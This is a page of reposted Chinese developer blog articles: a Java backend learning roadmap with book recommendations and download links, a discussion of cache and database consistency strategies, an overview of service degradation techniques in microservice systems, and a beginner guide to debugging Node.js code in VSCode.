如果你是零基础,建议你可以找一些 Java 入门的视频看一下,网上视频鱼龙混杂,大家注意甄别。推荐一个比较好的平台:B 站(www.bilibili.com/) 不是让你去看二次元的,里面有很多学习资源。(嘿哈)

看书是一种高效的自我学习方式,推荐基本比较好的书:

《Java 核心技术卷I》

《阿里巴巴 Java 开发手册》

《Java 编程思想(Thinking In Java)》

相关资料

对于Java开发刚入门的同学,可以看看下面的这本书,还是很不错的。

链接:pan.baidu.com/s/1J16FkCLh…

提取码:ishy

image-20210929130308493

《Head First Java》和《Java 核心技术卷 1/2》下载地址:

链接:pan.baidu.com/s/1kx2A5MSl…

提取码:ku9m

Java 高手进阶

学什么?

恭喜你终于Java 入门了,大牛和菜鸟的区别在于菜鸟永远止步于入门水平,而大牛已经找到新大陆了,翻过这几座山你离高手就不远了。

Java 高手进阶需要掌握的东西非常非常多,这里列举一些核心知识点,必须全部掌握的。这是 Java 面试高频考点,也是传说中 Java 八股文的一部分,面好了进入下一面,面不好回家等消息。

  • Java 集合类源码
  • 线程池
  • Java 代理
  • IO 模型
  • JVM
  • Java 并发编程(JUC)

怎么学?

Java 已经入门了,你都想进阶了,建议你不要再找视频看了,一边看书一边思考吧。

《Effective Java》

《Java8 实战》

《深入理解 Java 虚拟机 第3版》

《Java 并发编程的艺术》

上面推荐的几本书可能不太容易读懂,建议多读几遍。书中看不懂的地方可以在网上搜,多找一些优质的博客或者公众号看。

至此 Java 语言特性基本学习完了,就算达不到高手的水平,你也在正轨上了。

相关资料

《Java高并发编程详解》 和 《Java并发编程实践》 下载地址:

链接:pan.baidu.com/s/1BSq4kOES…

提取码:xuul

基础框架(SSM)

学什么?

学习 Java 语言特性可能比较枯燥,接下来可以学习基础框架动手做一些项目,比如 Java 领域非常流行的 Spring 框架,这就是为 Java 后端量身定做的,非常好用。

在 spring 流行之前,还出现 Struts 这样流行的框架,后面由于种种原因还是被 Spring 打败了。

大家在网上应该可以经常看到 SSM 的缩写,其实就是Spring+SpringMVC+MyBatis的缩写了。

你需要掌握以下这些:

  • Spring 全家桶(Spring、Spring MVC、Spring Boot)使用
  • ORM 框架(MyBatis、Hibernate)使用
  • Spring 原理
  • ORM 框架原理

怎么学?

学习 SSM 框架最好是动手完成一个简单的项目,建议跟着视频并且把代码敲出来,一来熟悉项目的开发流程,也可以给自己带来成就感。

有很多新手在做项目的时候非常纠结界面,作为一个 Java 后端程序员,你又不是全栈开发,纠结这个干什么,我的建议:要么不要界面只写接口,要么自己动手写点 html,不需要美观,实现功能即可。

跟着视频做完项目之后需要干什么?答案是:深入理解框架原理。会用框架并不代表你懂框架,作为一个有追求的程序员,懂原理是永远的必修课,谁让这一行太卷了呢,人无你有你最棒。

推荐几本书:

《Spring 基础内幕》

《MyBatis 技术内幕》

关于基础框架这部分,大神们的学习方法是:使用框架 -> 懂框架 -> 造轮子。

相关资料

《Spring技术内幕》和《Spring实战》下载地址:

链接:pan.baidu.com/s/19J3xeuJq…

提取码:zc3z

微服务框架

学什么?

近些年微服务架构非常火,究其原因是因为传统的单体架构和面向服务的架构逐渐不能满足互联网快速迭代的需求。微服务可以更容易提供持续继承和持续部署的能力,让产品更快速交付推向市场。

面向服务的架构其实在五六年前就已经提出,期间经过了一段低潮期,泡沫散去后逐渐浮现了一些好用的框架,国外以 SpringCloud 为代表,国内以 Dubbo 为代表。

springCloud 和 Dubbo 有区别但是很多基本原理也是类似,大家学习的时候需要掌握技术的本质。下面列举一些核心知识点:

  • Dubbo框架
  • SpringCloud框架
  • 服务注册与发现
  • 分布式服务链路追踪
  • 服务隔离、熔断、降级
  • 服务网关

怎么学?

springCloud 和 Dubbo 在官网都有很详细的介绍文档:

  • Dubbo官网 dubbo.apache.org/ 可以切到中文版
  • SpringCloud 官网 spring.io/projects/sp…

看官网技术文档大家可能会很懵,但这些确实是最权威的资料,也是一手的。

SpringCloud 和 Dubbo 是这几年刚刚流行的技术,从目前看来相关书籍还是比较少,也缺少一些经典的书,我还是列几本,大家按需获取。

《深入理解Apache Dubbo与实战》

《Spring Cloud微服务实战》

如果技术网站和书籍还不能满足你,建议你去搜一些视频学习。推荐搜索平台:B 站、慕课网、网易云课堂。

常用中间件

学什么?

最终用户并不直接使用中间件,换言之中间件不是大众消费类软件产品。但是在大公司里中间件是不可或缺的,它是支撑大型网站架构的一些基础的组件和服务,所以非常非常有必要学。

业界开源的优秀中间件非常多,通常会根据业务的需要在系统中引入若干,下面列举了一些常见的,都是必学的,非可选哈。

  • 缓存:Redis、Memcached( 推荐 Redis)
  • 消息队列:Kafka、RocketMQ、RabbitMQ、ActiveMQ、ZeroMQ(推荐 Kafka)
  • 数据库中间件:ShardingSpere、Mycat

怎么学?

每个中间件涵盖的内容都非常多,要想学精需要大量时间。

Redis 中文官方网站:

www.redis.cn/

当做字典学习 redis 常见命令

Kafka 官网:

kafka.apache.org/

ShardingSpere 官网:

shardingsphere.apache.org/index_zh.ht…

Mycat 权威指南在线 PDF 版:

www.mycat.org.cn/document/my…

推荐几本相关的书:

《Redis 设计与实现》

《深入理解Kafka:核心设计与实践原理》

《分布式数据库架构及企业实践——基于Mycat中间件》

书看完了你还想深入学习,建议大家关注一下极客时间的两门课:

胡夕:《Kafka核心技术与实战》

蒋德钧:《Redis核心技术与实战》

不过课程是付费的,手头紧的建议慎重哈。免费资源网上也有,靠大家搜索了~

中间件的学习是一个漫长的过程,不仅需要很多理论知识还需要实践经验。

比如你学 Redis 的时候,要思考五种基本数据类型各自使用场景、布隆过滤器是什么原理、用 Redis 怎么实现分布式锁,带着问题去学习效率非常高。

比如你学 Kafka 消息队列,要对比常见消息队列的优缺点、Kafka 为什么吞吐量高、Kafka 会不会丢消息以及怎么解决。

比如你学数据库中间件,要想数据库为什么要分库分表、分库分表 ID 如果处理等等。

数据库

学什么?

数据库非常重要,面试也是必考的,可以考的点非常多,可以考得很浅:问一下 SQL 使用,也可以考的很深:问索引和锁的实现原理。下面列了一些常见的知识点。

  • 数据库基本理论:范式、索引原理、数据库引擎
  • SQL 基本语法
  • SQL 调优,explain 执行计划
  • 数据库事务(ACID)
  • 数据库锁:乐观锁、悲观锁、表锁、行锁等

怎么学?

建议数据库零基础的同学还是要先学习一下数据库的基本理论,因为我看到很多人都是一上来就学 SQL ,最终也只是会用而已,到后面 SQL 调优的时候就很迷茫了。如果你只是想用一用数据库,这部分也可以跳过。

关于原理部分有一本非常经典的教材《数据库系统概念》以供学习,经典书籍一般都比较难啃坑也比较厚,建议大家先看目录,挑重点看。大学学过这本书的可以直接跳过了。

有了一些理论后就可以开始学习 SQL 语法了,这里推荐一本《MySQL 必知必会》,一边看书一边对着电脑敲。

当然面试大厂肯定会问一下比较难的东西,你需要搞懂索引的原理、事务 ACID、锁,问数据库这些东西必考哦!

MySQL 学习书籍清单:

《数据库系统概念》

《MySQL必知必会》

《MySQL技术内幕 : InnoDB存储引擎》

相关资料

推荐书籍 《MySQL 必知必会》 和 《高性能MySQL》 。

下载地址:

链接:pan.baidu.com/s/1KSJrthec…

提取码:fjyf

下面这个是我自己收藏的关于MYSQL的一个视频,我感觉还是挺不错的,感兴趣的可以看看。

链接:pan.baidu.com/s/1Q2kN8S3j…

提取码:e8vg

image-20210929150750542

分布式架构

学什么?

分布式这一部分就是面试的加分项了,答好了面试官会觉得你技术功底深厚,答不好,只要你前面的基础还不错也能过。所以呢,作为一个有追求的技术人,千万不要放过加分的机会。

分布式相关的内容非常多,下面列举几个在项目中或者面试中经常会遇到的知识点:

  • 分布式事务:两阶段提交(2PC)、补偿事务(TCC)
  • 分布式锁:基于关系型数据库(MySQL)、基于 Redis、基于Zookeeper
  • 分布式 ID:雪花算法(Snowflake)、美团 Leaf

怎么学?

这部分内容学好非常难,在很多书中都是轻轻带过,没有深入讲解原理,所以就不推荐书了。

那怎么学呢?小编我也还在学习当中,最好的还是有项目来锻炼,之后会更新,敬请期待~

必须掌握的工具软件

工欲善其事,必先利其器。作为一个 Java 开发人员,你需要学习业界常用的软件,软件工具用得越熟你的编码效率越高,下班的时间可能越早(打工人太难了)。

  • Java 最聪明的 IDE:IntelliJ IDEA (请放弃使用 Eclipse,我有一堆理由睡服你)
  • 地球上最好用的版本管理工具:Git
  • 经久不衰的依赖管理工具:Maven
  • Docker

这些软件你要是用不好,那只能说明…… 你再多学学吧。

学习资源网站列表汇总

(1)视频网站

  • B站(推荐):www.bilibili.com/
  • 网易云课堂:study.163.com/
  • 极客学院:www.jikexueyuan.com/
  • 慕课网:www.imooc.com/

(2)专栏

  • 极客时间(推荐):time.geekbang.org/
  • Gitchat gitbook.cn/

(3)Github

  • Java 知识地图(推荐):github.com/smileArchit…

(4)技术博客:

  • CSDN 博客:blog.csdn.net/
  • 博客园:www.cnblogs.com/
  • 掘金社区(推荐):juejin.cn/
  • InfoQ:xie.infoq.cn/
  • 思否:segmentfault.com/
  • 开源中国:www.oschina.net/blog

(5)搜索引擎:

  • 百度:www.baidu.com/
  • 谷歌:www.google.com/

(6)知识问答:

  • 知乎(推荐):www.zhihu.com/
  • stackoverflow(推荐):stackoverflow.com/

(7)刷题:

  • 力扣(推荐):leetcode-cn.com/
  • 牛客:www.nowcoder.com/

(8)云笔记:

  • 石墨:shimo.im/
  • 语雀:www.yuque.com/
  • 有道云笔记:note.youdao.com/
  • 印象笔记:www.yinxiang.com/ 看个人习惯去选择,不推荐了。

(9)在线画图:

  • processOn:www.processon.com/
  • drawio:app.diagrams.net/ 各有特色,都推荐。

小结

我觉得学习一门新的知识,最优的学习路径应该是这样的:

  1. 官网(大概率是英文,不推荐初学者看) 。
  2. 书籍(知识更加系统完全,推荐) 。
  3. 视频(比较容易理解,推荐,B站上有很多学习视频,大概率能找到你想要的学习视频) 。
  4. 网上博客(解决某一知识点的问题的时候可以看看) 。

相信你看到这,大概能理解为什么程序员的工资会这么高了,因为要学的东西确实很多,而且技术更新还很快,需要不断学习新的东西,但是也别慌,只要你合理安排自己的时间,搞清楚哪些东西是重点,哪些东西仅仅了解就够了。这样你学习起来就会有侧重点,效率也会提升很多。

以上的大部分基本前辈们都已经总结过了,我也还有很多东西要学,我们一起努力吧~

看到这里了,记得点赞、关注加收藏哟!!!

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

技能篇:关于缓存数据的一致性探讨 参考文章

发表于 2021-11-15

为了更快响应请求,减少不必要的查询,加速数据的处理,数据缓存是我们日常开发绕不过去的环节

image.png

关注公众号,一起交流,微信搜一搜: 潜行前行

缓存的意义

数据的保存,离不开磁盘或者内存的操作。为了永久性的保存,数据最终还是会同步到磁盘上,小流量小并发的系统,直接使用 mysql 进行数据的操作即可满足需求。但面对高并发大流量时,又应该怎么去更新保存读取数据呢?使用内存作为缓冲区,即缓存。CPU 操作内存空间的速度是比磁盘快一个大级别的,内存操作就是在公路上开汽车,磁盘读写则在小道上骑自行车

  • 基于内存去做缓存,有两种方案:一是基于本地内存实现,如简单使用 HashMap,guava 的 LoadCache,Caffeine;二是依赖局域网中的其他中间件,如 redis,Memcache,SQLite。这些内存数据库广泛地被当做分布式缓存中间件使用
  • 把数据拦截在内存上去操作,确实是提高了系统的性能。但是内存上的数据容易丢失,万一停电,机器宕机,数据全就没了,而且内存的硬件贵,容量小,并不是一个保存数据永久之地。因为我们最终还是要把数据同步到磁盘DB上,而同步就会出现一致性的问题

缓存的不一致性

  • 读一致性:先读取缓存数据,有数据则直接返回;如果读取不到,则读取DB上的数据,然后给缓存的数据设置过期时间,避免数据永久停留在内存上。读一致性问题不大
  • 写一致性:这里的写是专指新增的操作。和读操作差不多,直接写入数据库即可,如果后续有读操作,则使用读一致性的操作步骤即可保证一致性
  • 更新一致性:更新操作则有点麻烦,有两个问题:一是先更新缓存呢,还是删除缓存?二是先操作缓存还是 DB ? 两个问题组合起来就有四种方案了,各位带着问题往下看

先更新缓存后更新DB

这个方案基本不可能会被采用的,因为出了问题是不可挽回的。想一想在多线程操作的情况下
image.png

为啥说这个方案不会被采用呢?设想用户下单的场景。第一步:更新缓存里下单状态为成功(假设此时会预定库存);第二步读取到下单成功状态,然后准备去支付(此时第三步更新DB失败了)

  • 假设支付阶段,读取到缓存里的下单状态为成功,最终支付完成。因为下单阶段会预定库存,但实际 DB 更新失败,这将导致超卖。收了钱却没货发,等着被起诉吧,或者赔偿用户
  • 假设支付阶段,刚好缓存失效,读取到 DB 里的真实下单状态,支付失败。给用户的感觉就是垃圾产品

先更新DB后更新缓存

先更新数据库后更新缓存同样会存在数据不一致性,请看以下场景
image.png
网络问题可能会导致线程B更新缓存比线程A更快,而在第四步完成之后,缓存失效之前,缓存和数据库就会存在不一致性问题

  • 将更新DB和更新缓存操作封装在同一个事务?虽然可以做到强一致性,但这导致数据库事务的延长,会导致服务性能下降,本来引入缓存是为加大性能,怎么反向操作了
  • 可能你会认为不一致只是短暂的,可以接受,数据最终还是会达成一致性的。但是下面还有更好的方案为啥要选这个呢?
  • 还有如果写操作多,读操作少,这种方案就会导致,数据压根还没读到,缓存就被频繁的更新,浪费系统资源
  • 还有些场景,数据是要经过复杂的计算才写入缓存的,而并非写入数据库的那个数据。在读少写多的业务,这多出的计算操作也是浪费系统资源的

先删缓存后更新DB

看一下先删缓存后更新DB方案
image.png

  • 这个方案比更新DB后更新缓存好的地方在于,不用事先计算缓存,更新缓存
  • 但在第四步操作后,先删缓存后更新DB一样存在短暂的不一致性,怎么办?可以采用 延迟双删方案

延迟双删方案

image.png
可以看到延迟双删方案增加了一步骤,在更新完数据之后,延迟一段时间再删除缓存。至于这几毫秒怎么确定,则需要同学们自己根据相应服务数据的读操作耗时时间确定。延迟删除时间 = 读操作耗时时间 + 浮动时间(大概几十毫秒就行)

  • 延迟双删方案不能完美做到杜绝 缓存和DB不一致现象发生,只是极大概率减少数据不一致

先更新DB后删缓存

image.png
该方案也是不能完美解决不了数据的不一致性,但同样可以延迟删除的策略来降低数据不一致性的发生概率

  • 对比先删缓存后更新DB方案,优化的点在于少了一次删除操作

延迟删除

image.png

删除失败,怎么补救

延迟删除,会不会存在删除失败的情况呢,这时怎么办。可以采用下面两种策略来补救

  • 删除缓存重试机制
    image.png
  • 读取biglog异步删除缓存
    • 删除缓存重试机制有一个缺点,对业务线代码造成大量的侵入
    • 读取biglog异步删除缓存方案:专门启动一个更新缓存程序去订阅数据库的binlog,获得需要操作的数据,然后在进行更新缓存操作
      image.png

欢迎指正文中错误

参考文章

  • Redis与Mysql双写一致性方案解析
  • 如何保持mysql和redis中数据的一致性?

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

『超级架构师』服务降级的思路与手段

发表于 2021-11-15

「这是我参与11月更文挑战的第10天,活动详情查看:2021最后一次更文挑战」。

前言

本文已收录到 Github-java3c ,里面有我的系列文章,欢迎大家Star。

Hello 大家好,我是l拉不拉米,在我的『超级架构师』专栏前一篇文章中『超级架构师』服务限流的思路与手段,讲解了服务限流的手段和思路,今天给大家继续讲解服务降级的思路和手段。

什么是服务降级

当服务器压力剧增的情况下,根据实际业务情况及流量,对一些服务和页面有策略的不处理或换种简单的方式处理,从而释放服务器资源以保证核心交易正常运作或高效运作。

举个例子:某电商平台在双11的时候,流量、订单量、支付量暴增,为了保证最核心的订单服务和支付服务的稳定可用,主动将发送短信、评价等非核心业务功能切掉,让更多的CPU、IO资源给到核心服务。

使用场景

当整个微服务架构整体的负载超出了预设的上限阈值或即将到来的流量预计将会超过预设的阈值时,为了保证重要或基本的服务能正常运行,我们可以将一些 不重要 或 不紧急 的服务或任务进行服务的 延迟使用 或 暂停使用。

服务等级定义

服务等级定义 SLA(Service Level Agreement)是判定压测是否异常的重要依据。压测过程中,通过监控核心服务状态的 SLA 指标数据,可以更直观地了解压测业务的状态。

SLA则是服务商与您达成的正常运行时间保证。

关于这个的详细解释,可以参考阿里云的介绍:服务等级定义SLA,这里不过多描述,SLA 分为网络服务和云服务,提供商的在线保证率通常要求达到6个9。

6个9含义

6个9指99.9999%,也就是一个服务有99.9999%概率是安全的,6个9有多安全呢?

2个9 = (1-99%)X24 X 365 = 87.6 小时 = 3.65天

3个9 = (1-99.9%)X24 X 365 = 8.76 小时

4个9 = (1-99.99%)X24 X 365 = 0.876 小时 = 52.56分钟

5个9 = (1-99.999%)X24 X 365 = 0.0876 小时 = 5.256分钟

6个9 = (1-99.9999%)X24 X 365 = 0.00876 小时 = 0.5256分钟 = 31秒

也就是,一年当中,6个9的安全性最多会有31s服务是不可用,相对来说是极高的。

分级评估模型

当微服务架构发生不同程度的情况时,我们可以根据服务的对比而进行选择式舍弃(即丢车保帅的原则),从而进一步保障核心的服务的正常运作。

如果等线上服务即将发生故障时,才去逐个选择哪些服务该降级、哪些服务不能降级,然而线上有成百上千个服务,则肯定是来不及降级就会被拖垮。同时,在大促或秒杀等活动前才去梳理,也是会有不少的工作量,因此建议在开发期就需要架构师或核心开发人员来提前梳理好,是否能降级的初始评估值,即是否能降级的默认值。

我们利用数学建模的方式或架构师直接拍脑袋的方式,结合服务能否降级的优先原则,并根据台风预警(都属于风暴预警)的等级进行参考设计,可将微服务架构的所有服务进行故障风暴等级划分为以下四种:

评估模型:

  • 蓝色风暴 —— 表示需要小规模降级非核心服务
  • 黄色风暴 —— 表示需要中等规模降级非核心服务
  • 橙色风暴 —— 表示需要大规模降级非核心服务
  • 红色风暴 —— 表示必须降级所有非核心服务

设计说明:

  • 故障严重程度为:蓝色<黄色<橙色<红色
  • 建议根据二八原则可以将服务划分为:80%的非核心服务+20%的核心服务

以上模型只是整体微服务架构的服务降级评估模型,具体大促或秒杀活动时,建议以具体主题为中心进行建立(不同主题的活动,因其依赖的服务不同,而使用不同的进行降级更为合理)。当然模型可以使用同一个,但其数据需要有所差异。最好能建立一套模型库,然后实施时只需要输入相关服务即可输出最终降级方案,即输出本次大促或秒杀时,当发生蓝色风暴时需要降级的服务清单、当发生黄色风暴时需要降级的服务清单。

降级权值

微服务架构中有服务权值的概念,主要用于负载时的权重选择,同样服务降级权值也是类似,主要用于服务降级选择时的细粒度优先级抉择。所有的服务直接使用以上简单的四级划分方式进行统一处理,显然粒度太粗,或者说出于同一级的多个服务需要降级时的 降级顺序 该如何?甚至我想要人工智能化的 自动降级,又该如何更细粒度的控制?

基于上述的这些AI化的需求,我们可以为每一个服务分配一个降级权值,从而便于更加智能化的实现服务治理。而其评估的数值,同样也可以使用数学模型的方式进行 定性 与 定量 的评估出来,也可以架构师根据经验直接拍脑袋来确定。

核心设计

降级处理

兜底数据

这方面有很多例子,比如某些页面挂了会返回寻亲子网。可以对一些关键数据设置一些兜底数据,例如设置默认值、静态值、设置缓存等。

  • 默认值: 设置安全的默认值,不会引起数据问题的值,比如库存为0。
  • 静态值:请求的页面或api无法返回数据,提供一套静态数据展示,比如加载失败提示重试,或者寻亲子网,或者跳到默认菜单,给用户一个稍微好一点的体验。
  • 缓存: 缓存无法更新便使用旧的缓存。

限流降级

限流顾名思义,提前对各个类型的请求设置最高的QPS阈值,若高于设置的阈值则对该请求直接返回,不再调用后续资源,也就是当流量洪峰到达的时候,可能需要丢弃一部分用户来保证服务可用性,对于丢弃的用户可以提供友好的提示,比如提示用户当前繁忙、稍后重试等。

限流需要结合压测等,了解系统的最高水位,也是在实际开发中应用最多的一种稳定性保障手段。当服务器压力剧增的情况下,根据当前业务情况及流量对一些服务和页面有策略的降级,以此释放服务器资源以保证核心任务的正常运行。

超时降级

对调用的数据设置超时时间,当调用失败时,对服务降级。

举个例子,当访问数据已经超时了,且这个业务不是核心业务,可以在超时之后进行降级,比如商品详情页上有推荐内容或者评价,但是可以降级显示评价暂时不显示,这对主要的用户功能——购物,不产生影响,如果是远程调用,则可以商量一个双方都可以接受的最大响应时间,超时则自动降级。

故障降级

如果远程调用的服务器挂了(网络故障、DNS故障、HTTP服务返回错误),则可以进行降级,例如返回默认值或者兜底数据或者静态页面,也可以返回之前的缓存数据。

重试/自动处理

客户端高可用:提供多个可调用的服务地址。

微服务重试:dubbo重试机制。

API调用重试:当达到重试次数后,增加访问标记,服务降级,异步探测服务是否恢复。

WEB端:在服务不可用时,web端增加重试按钮或自动重试可以提供更友好的体验。

自动重试需设置重试次数和数据幂等处理。

降级开关

在服务器提供支持期间,如果监控到线上一些服务存在问题,这个时候需要暂时将这些服务去掉,有时候通过服务调用一些服务,但是服务依赖的数据库可能存在,网卡被打满了,数据库挂了,很多慢查询等等,此时要做的就是暂停相关的系统服务,也就是人工使用开关降级。开关可以放在某地,定期同步开关数据,通过判断开关值来决定是否做出降级。

开关降级还有一个作用,例如新的服务版本刚开发处在灰度测试阶段,不太确定里面的逻辑等等是否正确,如果有问题应该可以根据开关的值切回旧的版本。

在服务调用方设置一个flag,标记服务是否可用,另外key可以存储存储在在本地,也可以存储在第三方的配置文件中,例如数据库、redis、zookeeper中。

爬虫和机器人

分析机器人行为:短时间连续操作,agent,行为轨迹、拖拽(模拟登陆/秒杀/灌水)。

爬虫:引到到静态页或缓存页。

读降级

简而言之,在一个请求内,多级缓存架构下,后端缓存或db不可用,可以使用前端缓存或兜底数据让用户体验好一点。

对于读服务降级一般采用的策略有:

  • 暂时切换读:降级到读缓存、降级到走静态化
  • 暂时屏蔽读:屏蔽读入口、屏蔽某个读服务

通常读的流程为: 接入层缓存→应用层本地缓存→分布式缓存→RPC服务/DB

我们会在接入层、应用层设置开关,当分布式缓存、RPC服务/DB有问题时自动降级为不调用。当然这种情况适用于对读一致性要求不高的场景。

页面降级、页面片段降级、页面异步请求降级都是读服务降级,目的是丢卒保帅,保护核心线程,或者因数据问题暂时屏蔽。

还有一种是页面静态化场景:

  • 动态化降级为静态化:比如,平时网站可以走动态化渲染商品详情页,但是,到了大促来临之际可以将其切换为静态化来减少对核心资源的占用,而且可以提升性能。其他还有如列表页、首页、频道页都可以这么处理。可以通过一个程序定期推送静态页到缓存或者生成到磁盘,出问题时直接切过去。
  • 静态化降级为动态化:比如,当使用静态化来实现商品详情页架构时,平时使用静态化来提供服务,但是,因为特殊原因静态化页面有问题了,需要暂时切换回动态化来保证服务正确性。以上都保证了出问题时有预案,用户可以继续使用网站,不影响用户购物体验。

写降级

大家都知道硬盘性能比不上内存性能,如果访问量很高的话,数据库频繁读写可能撑不住,那么怎么办呢,可以让内存(假如是Redis)库来暂时满足写任务,同时将执行的指令记录下来,然后将这个信息发送到数据库,也就是不在追求内存与数据库数据的强一致性,只要数据库数据与Redis数据库中的信息满足最终话一致性即可。

也就是说,正常情况下可以同步扣减库存,在性能扛不住时,降级为异步。另外,如果是秒杀场景可以直接降级为异步,从而保护系统。还有,如下单操作可以在大促时暂时降级,将下单数据写入Redis,然后等峰值过去了再同步回DB,当然也有更好的解决方案,但是更复杂,不是本篇的重点。

还有如用户评价,如果评价量太大,那么也可以把评价从同步写降级为异步写。当然也可以对评价按钮进行按比例开放(比如,一些人看不到评价操作按钮)。比如,评价成功后会发一些奖励,在必要的时候降级同步到异步。

在CAP理论和BASE理论中写操作存在于数据一致性这个环节,降级的目的是为了提供高可用性,在多数的互联网架构中,可用性是大于数据一致性的。所以丧失写入数据同步,通过上面的理论,我们也能勉强接受数据最终一致性。高并发场景下,写入操作无法及时到达或抗压,可以异步消费数据、cache更新、记log日志等方式。

前端降级

当系统出现问题的时候,尽量将请求隔离在离用户最近的位置,避免无效链路访问, 在后端服务部分或完全不可用的时候,可以使用本地缓存或兜底数据,在一些特殊场景下,对数据一致性要求不高的时候,比如秒杀、抽奖等可以做假数据。

JS降级

在js中埋降级开关,在访问不到达,系统阈值的时候可以避免发送请求

主要控制页面功能的降级,在页面中,通过JS脚本部署功能降级开关,在适当时机开启/关闭开关。

接入层降级

可以在接入层,在用户请求还没到达服务的时候,通过Nginx + Lua、Haproxy + lua过滤无效请求达到服务降级的目的, 主要控制请求入口的降级,请求进入后,会首先进入接入层,在接入层可以配置功能降级开关,可以根据实际情况进行自动/人工降级。这个可以参考第17章,尤其在后端应用服务出问题时,通过接入层降级从而给应用服务有足够的时间恢复服务。

应用层降级

主要控制业务的降级,在应用中配置相应的功能开关,根据实际业务情况进行自动/人工降级。

SpringCloud中可以通过Hystrix配置中心可以进行人工降级,也可以根据服务的超时时间进行自动降级, Hystrix是Netflix开源的一款针对分布式系统的延迟和容错库,目的是用来隔离分布式服务故障。它提供线程和信号量隔离,以减少不同服务之间资源竞争带来的相互影响;官网讲Hystrix提供优雅降级机制;提供熔断机制使得服务可以快速失败,而不是一直阻塞等待服务响应,并能从中快速恢复。Hystrix通过这些机制来阻止级联失败并保证系统弹性、可用。下图是一个典型的分布式服务实现。

片段降级

例如打开淘宝首页,这一瞬间需要加载很多数据,有静态的例如图片、CSS、JS等,也有很多其他商品等等,这么多数据中,如果一部分没有请求到,那么就可以片段降级,意思是就不加载这些数据了,用其他数据顶替,例如其他商品信息或者等等。

提前预埋

这个很容易理解,大家应该都记得,每次双十一之前,淘宝总会提醒你下载更新,按道理来讲,活动还没开始,更新啥呢?

做法是对于一部分静态数据可以提前更新到你手机上,当你双十一时就不用再远程连接服务器加载了,避免了消耗网络资源。

总结

从微服务架构全局的视角来看,我们通常有以下是几种常用的降级处理方案:

  • 页面降级 —— 可视化界面禁用点击按钮、调整静态页面
  • 延迟服务 —— 如定时任务延迟处理、消息入MQ后延迟处理
  • 写降级 —— 直接禁止相关写操作的服务请求
  • 读降级 —— 直接禁止相关度的服务请求
  • 缓存降级 —— 使用缓存方式来降级部分读频繁的服务接口

针对后端代码层面的降级处理策略,则我们通常使用以下几种处理措施进行降级处理:

  • 抛异常
  • 返回NULL
  • 调用Mock数据
  • 调用Fallback处理逻辑

最后

创作不易,感谢您的点赞!!🙏🙏

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

新手向:前端程序员必学基本技能——调试JS代码

发表于 2021-11-15
  1. 前言

大家好,我是若川。为了能帮助到更多对源码感兴趣、想学会看源码、提升自己前端技术能力的同学。我倾力组织了每周大家一起学习200行左右的源码共读活动,感兴趣的可以点此扫码加我微信 ruochuan02 参与。

想学源码,极力推荐之前我写的《学习源码整体架构系列》 包含jQuery、underscore、lodash、vuex、sentry、axios、redux、koa、vue-devtools、vuex4、koa-compose、vue 3.2 发布、vue-this、create-vue、玩具vite等10余篇源码文章。

最近组织了源码共读活动,公众号:若川视野,回复”源码”参与,每周大家一起学习200行左右的源码,共同进步。常有小伙伴在微信群里提关于如何调试的问题,而我写的调试方法基本分散在其他文章中。所以特此写一篇关于调试的文章。此外,之后写文章也可以少写些调试相关的,只需持续更新这篇文章。

本文仓库地址,求个star

阅读本文,你将学到:

1
bash复制代码1. 学会基本调试技能
  1. 推荐安装或者更新到最新版 VSCode

官网下载安装 VSCode。

如果你的VSCode不是中文(不习惯英文),可以安装简体中文插件。

如果 VSCode 没有这个调试功能。建议更新到最新版的 VSCode(目前最新版本 v1.62.2)。

  1. 配置 auto-attach

VSCode 调试 JS 的方法有很多,目前比较推荐的就是无需配置的 auto-attach。

默认无需配置,超级好用

按 ctrl + shift + p,打开输入 >auto attach。默认是智能(smart)。如果不是,可以查看设置成智能,或者根据场景自行设置成其他的。

auto attach

默认智能

更多可以查看官方文档:nodejs-debugging

  1. 调试 Node.js 代码

我特意新建了一个仓库。供读者动手实践。

1
2
3
4
bash复制代码git clone https://github.com/lxchuan12/nodejs-debugging.git
cd nodejs-debugging
# npm i -g yarn
yarn install

一般来说,从 package.json 文件查看入口,其中 main 字段会说明入口文件是什么。同时查看 scripts 脚本文件。

一般提前在入口文件打好断点。

4.1 调试操作方式

操作方式一:package.json

在 package.json 找到相应的 scripts。鼠标悬浮在相应的命令上,会出现运行命令和调试命令两个选项,选择 调试命令 即可进入调试模式。或者点击 scripts 上方的 调试,再选择相应的命令。也可以进入调试模式。

选择调试模式

操作方式二:终端命令

通过快捷键 ctrl + 反引号 打开终端。或者通过查看 —— 终端打开VSCode` 终端。

在终端进入到目录。执行相应的脚本。

VSCode 则会自动进入到调试模式。如下图所示:

VSCode 调试源码

接着我们看按钮介绍。

4.2 调试按钮介绍

详细解释下几个调试相关按钮。

    1. 继续(F5): 点击后代码会直接执行到下一个断点所在位置,如果没有下一个断点,则认为本次代码执行完成。
    1. 单步跳过(F10):点击后会跳到当前代码下一行继续执行,不会进入到函数内部。
    1. 单步调试(F11):点击后进入到当前函数的内部调试,比如在 fn 这一行中执行单步调试,会进入到 fn 函数内部进行调试。
    1. 单步跳出(Shift + F11):点击后跳出当前调试的函数,与单步调试对应。
    1. 重启(Ctrl + Shift + F5):顾名思义。
    1. 断开链接(Shift + F5):顾名思义。

VSCode 调试 Node.js 说明

调试走到不是想看的文件时(或者完全不是这个目录下的文件时),可以选择单步退出按钮或者重新调试。

  1. 其他调试

由于很多项目都配置了代码压缩,难于调试。所以开发环境下,一般通过配置生成 sourcemap 来调试代码。大部分开源项目(比如vue、vue-next源码)也会在贡献指南中说明如何开启 sourcemap。

普通 webpack 配置

1
js复制代码devtool: 'source-map',

调试 vue-cli 3+ 生成的项目。

Vuejs 官方文档调试

1
2
3
4
5
6
js复制代码// vue-cli 3+
module.exports = {
configureWebpack: {
devtool: 'source-map'
}
}

chrome 调试代码其实也类似。在 chrome devtools 的 source 面板找到相应文件,去打断点再调试。

  1. 其他参考链接

如何调试代码看以下这些参考链接,动手练习可以学会,Node.js 也类似。

前端容易忽略的 debugger 调试技巧

慕课网调试课程

掘金 chrome 免费小册

慕课网 nodejs 调试入门

  1. 总结

文章比较详细的介绍了 VSCode 调试 Node.js 调试代码的基本技能,Chrome 调试代码其实也是类似。调试代码是前端程序员基本技能,必须掌握。组织了源码共读活动发现很多人都不会,或者说不熟悉。让我感到十分诧异。所以写下这篇文章分享给读者。

建议大家可以克隆我的项目,动手实践,多操作几次就熟悉了。

1
2
3
4
bash复制代码git clone https://github.com/lxchuan12/nodejs-debugging.git
